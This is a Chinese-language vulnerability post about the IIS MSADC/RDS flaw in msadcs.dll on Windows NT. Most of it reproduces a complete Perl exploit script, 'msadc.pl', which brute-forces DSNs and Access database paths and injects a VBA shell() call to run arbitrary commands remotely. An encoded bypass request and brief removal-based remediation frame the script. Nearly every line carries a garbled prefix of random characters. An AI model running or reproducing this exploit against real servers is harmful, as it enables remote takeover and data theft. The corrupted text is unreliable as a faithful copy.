IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
xG2F!WeF ShOX<Fb& 涉及程序:
z;\d L Microsoft NT server
?`_jFj+<\S yCz|{=7"j 描述:
d 4?d4;{ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
Mz]:}qmFA 5sO@OV\
y 详细:
|J5 =J 如果你没有时间读详细内容的话,就删除:
ecJ6 c:\Program Files\Common Files\System\Msadc\msadcs.dll
xw^.bz| 有关的安全问题就没有了。
2.e
vx Y5q3T`xE 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
SGc8^%-` o|pT;1a" 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
>JwLk[=j 关于利用ODBC远程漏洞的描述,请参看:
;lX(}2tXW a,t``'c; http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm sW#JjtK wN-i?Ek0; 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
1j-te-}"c http://www.microsoft.com/security/bulletins/MS99-025faq.asp `lDut1J5n P(k(m<0 这里不再论述。
z&8un%Jt `6Qdfmk= 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
QnouBrhO d)o!5L /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Ck =;1sGh 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
oEz%={f /t<@"BoV m#/_x #将下面这段保存为txt文件,然后: "perl -x 文件名"
;TiUpg</_3 penlG36Q #!perl
P,S
G.EFK #
`Pn[tuIO # MSADC/RDS 'usage' (aka exploit) script
U:6W+p8 #
5+Mdh` # by rain.forest.puppy
d&8 APe #
tMx}*l|] # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
Q;Wj?8} # beta test and find errors!
[Qt?W gPj pE.PX
8 use Socket; use Getopt::Std;
-5l6&Y getopts("e:vd:h:XR", \%args);
lfsqC};#\ Scm36sT{ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
qm*}U3K .9[45][FK if (!defined $args{h} && !defined $args{R}) {
[k$*4u> print qq~
W/ay.I Usage: msadc.pl -h <host> { -d <delay> -X -v }
Z=5qX2fy1* -h <host> = host you want to scan (ip or domain)
m(iR|Zx -d <seconds> = delay between calls, default 1 second
Q:C$&-$ -X = dump Index Server path table, if available
:K82sCy%5 -v = verbose
xda;
K~w -e = external dictionary file for step 5
M]v=- U).*q?.z Or a -R will resume a command session
$*a'84-5G- <N,)G
|& ~; exit;}
DHC+C4 f;SC{2 f $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
H1"q if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
DciwQcG if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
_M[,!{ C if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
{%v-( $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
q@5K6yE if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
:q<Z'EnW sd#|3 if (!defined $args{R}){ $ret = &has_msadc;
5v)(8|.M die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
}ov&.,vQ Dq@2-Cv print "Please type the NT commandline you want to run (cmd /c assumed):\n"
Z BUArIC . "cmd /c ";
W,@
If} $in=<STDIN>; chomp $in;
&5{xXWJK $command="cmd /c " . $in ;
mV^Zy dBV7Te4L if (defined $args{R}) {&load; exit;}
e,_-Je S\6[EQ65 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
,bE$| x' &try_btcustmr;
y;?ie]3G fEE
/-}d print "\nStep 2: Trying to make our own DSN...";
Z+`{ 7G?4m &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
+z9@:L hd V1nS$ print "\nStep 3: Trying known DSNs...";
tGdf/aTjy &known_dsn;
;< )~Y- oY~ Dg print "\nStep 4: Trying known .mdbs...";
~n')&u{ &known_mdb;
Z4$cyL'$P [
=x s4= if (defined $args{e}){
Rv,JU6>i print "\nStep 5: Trying dictionary of DSN names...";
t&Os;x?To? &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
/y7M lU9 9mc!bj^811 print "Sorry Charley...maybe next time?\n";
R2L;bGI*J exit;
./j,Z$| |wEN`#.;b ##############################################################################
o'~5pS(wq ;|p$\26S)% sub sendraw { # ripped and modded from whisker
l+][V'zL sleep($delay); # it's a DoS on the server! At least on mine...
H2xeP%;$ my ($pstr)=@_;
o`zr> socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
:!;'J/B@.. die("Socket problems\n");
<WXzh5D2 if(connect(S,pack "SnA4x8",2,80,$target)){
+(D$9{y select(S); $|=1;
"1q>At print $pstr; my @in=<S>;
$P7iRM] select(STDOUT); close(S);
&0TVi return @in;
:M{Y,~cP } else { die("Can't connect...\n"); }}
qzw'zV iGDLZE+? ##############################################################################
c H-@V< ]{
BEr* sub make_header { # make the HTTP request
0qjXQs} my $msadc=<<EOT
{*ZY(6^ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
7J28JK User-Agent: ACTIVEDATA
n26Y]7N Host: $ip
\?j E#^ Content-Length: $clen
"!>DX1rsi Connection: Keep-Alive
]u-]'P I]Tsz'T!9 ADCClientVersion:01.06
``,k5!a66\ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
3lLMu B+ BYW^/B Y) --!ADM!ROX!YOUR!WORLD!
@ ''GPL@ Content-Type: application/x-varg
]Fvm 7V Content-Length: $reqlen
H_!4>G@ <D&)OxEn\ EOT
=z?%;4'| ; $msadc=~s/\n/\r\n/g;
$I#q return $msadc;}
8;y&Pb~) rV({4cIe9R ##############################################################################
f\;65k_jq G1t\Q-|l0 sub make_req { # make the RDS request
p_ Fy>j my ($switch, $p1, $p2)=@_;
]Q
"p\@\! my $req=""; my $t1, $t2, $query, $dsn;
/MB{Pmk$R }~h'FHCC+ if ($switch==1){ # this is the btcustmr.mdb query
6~#Ih)K $query="Select * from Customers where City=" . make_shell();
HIGq%m=-x $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
;U:
{/ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
2,vB'CAI 7:]Pl=:X elsif ($switch==2){ # this is general make table query
gx03xPeu $query="create table AZZ (B int, C varchar(10))";
Z=4{Vv* $dsn="$p1";}
,y9iKkg lT\a2.E elsif ($switch==3){ # this is general exploit table query
/!}'t $query="select * from AZZ where C=" . make_shell();
>U1R.B7f $dsn="$p1";}
H* ,,^ Hv]7e| elsif ($switch==4){ # attempt to hork file info from index server
"M|P+A $query="select path from scope()";
#U=X NU}k $dsn="Provider=MSIDXS;";}
}7{t^>;D ~Au,#7X) elsif ($switch==5){ # bad query
]fnnZ $query="select";
T9 <2A1 $dsn="$p1";}
%8aC1x nFX_+4V2 $t1= make_unicode($query);
4RKW $t2= make_unicode($dsn);
PUQES(& $req = "\x02\x00\x03\x00";
^ yh'lh/ $req.= "\x08\x00" . pack ("S1", length($t1));
N3t0-6$_ $req.= "\x00\x00" . $t1 ;
o }Tz"bN $req.= "\x08\x00" . pack ("S1", length($t2));
E6Rz@"^XV $req.= "\x00\x00" . $t2 ;
sfr(/mp( $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
y5= `ap return $req;}
Ae^X35 p
<eC<dtu ##############################################################################
@ZN^1?][ 9p$V)qdX sub make_shell { # this makes the shell() statement
eMOD;{Q?X return "'|shell(\"$command\")|'";}
k~%<Ir1V] 2=-utN@Z ##############################################################################
1%M&CX b1pQ`qt sub make_unicode { # quick little function to convert to unicode
CV$],BM my ($in)=@_; my $out;
at!Y3VywG for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
6#}93Dgv4 return $out;}
L_Q#(in d;Hn#2C ##############################################################################
syx\gz W$JebW<z( sub rdo_success { # checks for RDO return success (this is kludge)
9 7%0;a8 my (@in) = @_; my $base=content_start(@in);
JB</euyV if($in[$base]=~/multipart\/mixed/){
BY\:dx)mK return 1 if( $in[$base+10]=~/^\x09\x00/ );}
=k}SD96 return 0;}
%CZ-r"A }}QT HR ##############################################################################
G{aT2c TUL_TR sub make_dsn { # this makes a DSN for us
.*=]gZ$IE my @drives=("c","d","e","f");
jk\ dG16 print "\nMaking DSN: ";
:H. foreach $drive (@drives) {
ggtDN{t print "$drive: ";
6{x,*[v my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
-71dN0hWh "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
-B#yy]8 . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
g]* $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
/Y[~-Y+!, return 0 if $2 eq "404"; # not found/doesn't exist
PIA)d-Z if($2 eq "200") {
4vK8kkW1 foreach $line (@results) {
s/"&9F3 return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
Zn:R
PMk* } return 0;}
y`e4;*1 f0+2t.tj ##############################################################################
A]`El8_t" {P8[X@Lu sub verify_exists {
e{({|V ' my ($page)=@_;
@/J[t my @results=sendraw("GET $page HTTP/1.0\n\n");
`&M{cfp_ return $results[0];}
2Zuq?1= O<9~Kgd8h ##############################################################################
r%wA&FQ8U ^IZ)#1U sub try_btcustmr {
?[ly`>KpJ my @drives=("c","d","e","f");
D/(L my @dirs=("winnt","winnt35","winnt351","win","windows");
RVtQ20e";r -@^Zq} foreach $dir (@dirs) {
,!G{5FF8: print "$dir -> "; # fun status so you can see progress
mtic> foreach $drive (@drives) {
U5Erm6U: print "$drive: "; # ditto
Ot&:mT!2 $reqlen=length( make_req(1,$drive,$dir) ) - 28;
YF#HSf7 $reqlenlen=length( "$reqlen" );
8$xPex~2 $clen= 206 + $reqlenlen + $reqlen;
l>lW]W ]!1OH
|Ad my @results=sendraw(make_header() . make_req(1,$drive,$dir));
+ww^ev% if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
||2Q~*: else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
5_K5?N F}Mhs17!| ##############################################################################
G
DSfT{kK\ ,F+B Wot4 sub odbc_error {
N;F)jO
xsl my (@in)=@_; my $base;
\^+ILYO:$ my $base = content_start(@in);
`|1MlRM9 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
ocwG7J\W $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
N5|Rmfo1 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
y;"
n9 $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
fnzy5+9" return $in[$base+4].$in[$base+5].$in[$base+6];}
s*M@%_A? print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
9D@$i<D: print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
PDx)S7+w[ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
fLN! EDq VeiElU3 ##############################################################################
&zL#hBE Zr$d20M2A; sub verbose {
(%ew604X my ($in)=@_;
TGT$ >/w > return if !$verbose;
@mw "W{ print STDOUT "\n$in\n";}
~CRSL1? K5 3MMH[q# ##############################################################################
S6nhvU: Eu@5L9A sub save {
|YJCWFbs8 my ($p1, $p2, $p3, $p4)=@_;
Qx|H1_6 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
`znB7VQ0 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
q)u2Y] close OUT;}
@b&84Gn2
r 78#!Q.## ##############################################################################
;'T{li2 v|Jlf$> sub load {
!Gs} tiMH my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
4z7G2 open(IN,"<rds.save") || die("Couldn't open rds.save\n");
Rz%e>) @p=<IN>; close(IN);
@}F Awv^f $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
L/}iy} $target= inet_aton($ip) || die("inet_aton problems");
xIbMs4'iEx print "Resuming to $ip ...";
k@!r#`j3 $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
4FeEGySow if($p[1]==1) {
x
FJg $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
F
SMj $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
KM?1/KZ/~ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
9G?ldp8 if (rdo_success(@results)){print "Success!\n";}
V+MK'<#B else { print "failed\n"; verbose(odbc_error(@results));}}
t
*6loS0+ elsif ($p[1]==3){
"vF
MSY if(run_query("$p[3]")){
3EFD%9n print "Success!\n";} else { print "failed\n"; }}
m/&i9A elsif ($p[1]==4){
0V,Nv9!S if(run_query($drvst . "$p[3]")){
)yee2(S
print "Success!\n"; } else { print "failed\n"; }}
-*VKlZ8- exit;}
-H(vL= H(u+#PIIw ##############################################################################
d<p 2/aA @B1{r|-<^ sub create_table {
SDJH;c0 my ($in)=@_;
Pd=,$UQp $reqlen=length( make_req(2,$in,"") ) - 28;
aA*9, $reqlenlen=length( "$reqlen" );
dFW=9ru+MQ $clen= 206 + $reqlenlen + $reqlen;
|qcD; my @results=sendraw(make_header() . make_req(2,$in,""));
%(m]) return 1 if rdo_success(@results);
uq7T{7~< my $temp= odbc_error(@results); verbose($temp);
Os),;W0w4 return 1 if $temp=~/Table 'AZZ' already exists/;
V}8$p8#<@ return 0;}
#m. AN JV"NZvjN7d ##############################################################################
IFNWS,:
I8m:3fL" sub known_dsn {
^%bBW6eZ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
>mu)/kl my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
I?Y d
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
54p tP "banner", "banners", "ads", "ADCDemo", "ADCTest");
sLh0&R7 Iq'O foreach $dSn (@dsns) {
,4F,:w print ".";
9V!-ZG next if (!is_access("DSN=$dSn"));
N{akg90 if(create_table("DSN=$dSn")){
HQVh+ ( print "$dSn successful\n";
0A$SYF$O+[ if(run_query("DSN=$dSn")){
oN2=DYC41 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
iSp print "Something's borked. Use verbose next time\n";}}} print "\n";}
e=f .y< 8:;#,Urr ##############################################################################
D!>
d0k,Y e$l6gY sub is_access {
V%
axeqs my ($in)=@_;
4Kp L>'Q= $reqlen=length( make_req(5,$in,"") ) - 28;
cf8-]G?tK $reqlenlen=length( "$reqlen" );
h* .w"JO $clen= 206 + $reqlenlen + $reqlen;
y%(X+E"n* my @results=sendraw(make_header() . make_req(5,$in,""));
Ub)I66 my $temp= odbc_error(@results);
=V $j6 verbose($temp); return 1 if ($temp=~/Microsoft Access/);
M-9gD[m return 0;}
6vz1*\:H~ Q|hm1q ##############################################################################
-e>|kPfv! (i`(>I.(/ sub run_query {
+cg
{[f,J; my ($in)=@_;
aO1IVESr$ $reqlen=length( make_req(3,$in,"") ) - 28;
sOC&Q&eg $reqlenlen=length( "$reqlen" );
q^Tis>*u6 $clen= 206 + $reqlenlen + $reqlen;
-WR}m6yMr my @results=sendraw(make_header() . make_req(3,$in,""));
NrJzVGeS return 1 if rdo_success(@results);
iyM^[/-R6 my $temp= odbc_error(@results); verbose($temp);
/A(NuB<Pq return 0;}
UVX"fZ) >]$aoA# ##############################################################################
(Pi-uL<[a E20&hc5 8 sub known_mdb {
ia{kab|_5 my @drives=("c","d","e","f","g");
T!^Mvat my @dirs=("winnt","winnt35","winnt351","win","windows");
}=GM?,7b my $dir, $drive, $mdb;
&TT":FPR my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
V/y=6wUiSl 9{eBgdC # this is sparse, because I don't know of many
[8]m8=n my @sysmdbs=( "\\catroot\\icatalog.mdb",
X ,
ZeD "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
"E PD2,%S "\\system32\\certmdb.mdb",
HhSjR%6HY; "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
=HE
m) %?tq;~|]Q my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
Z;<ep@gy~ "\\cfusion\\cfapps\\forums\\forums_.mdb",
U</+ .$b "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
&hN,xpC "\\cfusion\\cfapps\\security\\realm_.mdb",
(([I]q "\\cfusion\\cfapps\\security\\data\\realm.mdb",
P^IY:
-s "\\cfusion\\database\\cfexamples.mdb",
(K
#A "\\cfusion\\database\\cfsnippets.mdb",
f!g<3X{= "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
rihlae5Kz "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
tV`&-H "\\cfusion\\brighttiger\\database\\cleam.mdb",
Pz473d "\\cfusion\\database\\smpolicy.mdb",
{'~sS "\\cfusion\\database\cypress.mdb",
,IjdO(?TC "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
a-PGW2G "\\website\\cgi-win\\dbsample.mdb",
rx:lKoOnB "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
-9G]x{> "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
&5q{viI ); #these are just
p.Y$A
if. foreach $drive (@drives) {
YvTA+yL foreach $dir (@dirs){
-CU,z|g+ foreach $mdb (@sysmdbs) {
Z{}+)Q*Q print ".";
OV|Z=EwJ if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
(!n-Age print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
%0v*n8 if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
37>MJ print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
5Rs?CVVb } else { print "Something's borked. Use verbose next time\n"; }}}}}
(3fPt;U L?f qcW{ foreach $drive (@drives) {
*/U$sZQ) foreach $mdb (@mdbs) {
6y@<?08Q print ".";
iEhDaC[e(b if(create_table($drv . $drive . $dir . $mdb)){
+"=~o5k3Q print "\n" . $drive . $dir . $mdb . " successful\n";
cdsQ3o if(run_query($drv . $drive . $dir . $mdb)){
9p<:LZd~ print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
LXxl ?D } else { print "Something's borked. Use verbose next time\n"; }}}}
lIl9ypikg }
7.|S>+Q `Kp}s< ##############################################################################
s5.k|!K Wf1-"Q sub hork_idx {
-s~p}CQ. print "\nAttempting to dump Index Server tables...\n";
'%Dg{ zL print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
ZOHRUm $reqlen=length( make_req(4,"","") ) - 28;
yS"0/Rm} $reqlenlen=length( "$reqlen" );
'%O\E{h $clen= 206 + $reqlenlen + $reqlen;
&
=sa yP my @results=sendraw2(make_header() . make_req(4,"",""));
!:J<pWN" if (rdo_success(@results)){
`q1}6U/k my $max=@results; my $c; my %d;
?M<|r11} for($c=19; $c<$max; $c++){
uN&M\( $results[$c]=~s/\x00//g;
=+Tsknq $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
~[;{ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
&|] Fg5 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
H2]BMkum $d{"$1$2"}="";}
MZi8Fo' foreach $c (keys %d){ print "$c\n"; }
bVOO) } else {print "Index server doesn't seem to be installed.\n"; }}
*<3iEeO/R EEg O ##############################################################################
9oD#t~+F4 1
'%-y sub dsn_dict {
_^3@PM> open(IN, "<$args{e}") || die("Can't open external dictionary\n");
KqY>4tb while(<IN>){
|Kn^w4mN $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
^ N_`^m next if (!is_access("DSN=$dSn"));
ZArf;&8 if(create_table("DSN=$dSn")){
n(# c`t* print "$dSn successful\n";
@f'AWeJ2 if(run_query("DSN=$dSn")){
;@O(z*14@ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
%w%zv2d print "Something's borked. Use verbose next time\n";}}}
,,2_/u\"/i print "\n"; close(IN);}
L`bo#,eg6 ~l4Q~' ##############################################################################
Cj=J;^vf b6$4Ul-. sub sendraw2 { # ripped and modded from whisker
@%7/2k sleep($delay); # it's a DoS on the server! At least on mine...
X)FQ%(H< my ($pstr)=@_;
g&8 .A( socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
W.sD2f die("Socket problems\n");
Jz2q\42q if(connect(S,pack "SnA4x8",2,80,$target)){
C890+(D~ print "Connected. Getting data";
E<P*QZ-C3 open(OUT,">raw.out"); my @in;
4t(QvIydA select(S); $|=1; print $pstr;
*xho while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
0MhxFoFO close(OUT); select(STDOUT); close(S); return @in;
CTh1;U20 } else { die("Can't connect...\n"); }}
JG1LS$p^ _4A&%> ##############################################################################
]n/jJ_[ m';|}z' sub content_start { # this will take in the server headers
JCBnFrP my (@in)=@_; my $c;
,9+nfj for ($c=1;$c<500;$c++) {
*+# k{D, if($in[$c] =~/^\x0d\x0a/){
T)*l' g' if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
%hrsE5k^, else { return $c+1; }}}
RH1U_gp4 ] return -1;} # it should never get here actually
KN|'|2/| 9yp^zL ##############################################################################
Ez wF`3RjK aw;{<?* sub funky {
ZW`HDrP` my (@in)=@_; my $error=odbc_error(@in);
LIc*tsl if($error=~/ADO could not find the specified provider/){
F\l!A'Q+t print "\nServer returned an ADO miscofiguration message\nAborting.\n";
+2f>
M4q exit;}
l
%]<- if($error=~/A Handler is required/){
;%lJD"yF print "\nServer has custom handler filters (they most likely are patched)\n";
HXz iDnj exit;}
r{c5dQ
if($error=~/specified Handler has denied Access/){
il<gjlyR]L print "\nServer has custom handler filters (they most likely are patched)\n";
)E_!rR exit;}}
sVNo\ ([E#zrz% ##############################################################################
4_Tb)?L+: !G@V<'F sub has_msadc {
an #jZ[ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
t/_\U=i$ my $base=content_start(@results);
:^C#-O return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
DB!uv[c return 0;}
t4*aVHT /<Gyg7o0 ########################
WIhIEU7 / _q2`m 3Bu D/bs 解决方案:
=2Pz$q*ub 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
MX%|hIOpr 2、移除web 目录: /msadc